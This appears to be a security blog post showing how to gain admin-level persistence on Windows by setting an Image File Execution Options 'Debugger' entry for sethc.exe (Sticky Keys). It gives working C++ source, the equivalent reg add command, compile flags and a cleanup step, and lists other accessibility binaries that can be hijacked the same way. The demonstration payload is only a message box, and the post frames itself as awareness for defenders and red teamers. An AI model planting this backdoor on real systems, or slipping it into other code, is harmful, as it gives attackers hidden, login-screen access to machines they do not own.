cocomelonc

cybersec enthusiast. mathematician. author. speaker. hacker

2 minute read

﷽

Hello, cybersecurity enthusiasts and white hackers!

pers

This post is the result of my own research into another admin-level malware persistence trick: via Accessibility Features.

In the one of the previous posts, I wrote about persistence via Image File Execution Options. In the one of the PoC examples, we just created a debugger to a victim process in this registry key:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe

then only requires the malicious application to be stored in System32.

practical example. sethc.exe

Today I just replace our victim process with sethc.exe. But what is sethc.exe? It appears it is responsible for sticky keys. Pressing the Shift key 5 times will enable the sticky keys:

pers

Instead of the legitimate sethc.exe, “the rogue sethc.exe” , as usually for simplicity it is a meow messagebox, will be executed. The source code is pretty similar (pers.cpp):

/*
pers.cpp
windows persistence via Accessibility Features
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/30/malware-pers-12.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  // image file
  const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe";

  // evil app
  const char* exe = "C:\\Windows\\System32\\hack.exe";

  // Debugger
  LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
  if (res == ERROR_SUCCESS) {
    // create new registry key
    // reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /d "hack.exe"
    RegSetValueEx(hkey, (LPCSTR)"Debugger", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
    RegCloseKey(hkey);
  }

  return 0;
}

Meow-meow messagebox:

/*
hack.cpp
evil app for windows persistence
via Accessibility Features
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/30/malware-pers-12.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
  return 0;
}

demo

Let’s go to see everything in action. Check registry keys before:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s

pers

Then, compile our pers.cpp:

x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

pers

Run and check registry keys again:

You need to have administrative privileges to replace the genuine Windows binary of the tool

.\pers.exe
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /s

pers

Finally, pressing Shift key 5 times:

pers

Note to the properties of the hack.exe:

pers

pers

Perfect! =^..^=

After end of experiments, for cleanup, run:

Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" -Force -Verbose

pers

conclusion

The Windows Accessibility Features are a collection of utilities accessible via the Windows sign-in screen (like Sticky Keys). Some Accessibility features and their corresponding trigger choices and locations include:

1. Utility Manager

  • C:\Windows\System32\Utilman.exe
  • Trigger: Windows key + U

2. On-Screen Keyboard

  • C:\Windows\System32\osk.exe
  • Trigger: Click on On-screen keyboard button

3. Magnifier

  • C:\Windows\System32\Magnify.exe
  • Trigger: Windows Key + =

4. Narrator

  • C:\Windows\System32\Narrator.exe
  • Trigger: Windows Key + Enter

5. Display Switcher

  • C:\Windows\System32\DisplaySwitch.exe
  • Trigger: Windows Key + P

These Windows capabilities became well-known when the APT groups exploited them to backdoor target PCs. For example, APT3, APT29 and APT41 used sticky keys.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

MITRE ATT&CK. Event Triggered Execution: Accessibility Features
APT3
APT29
APT41
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

You may also enjoy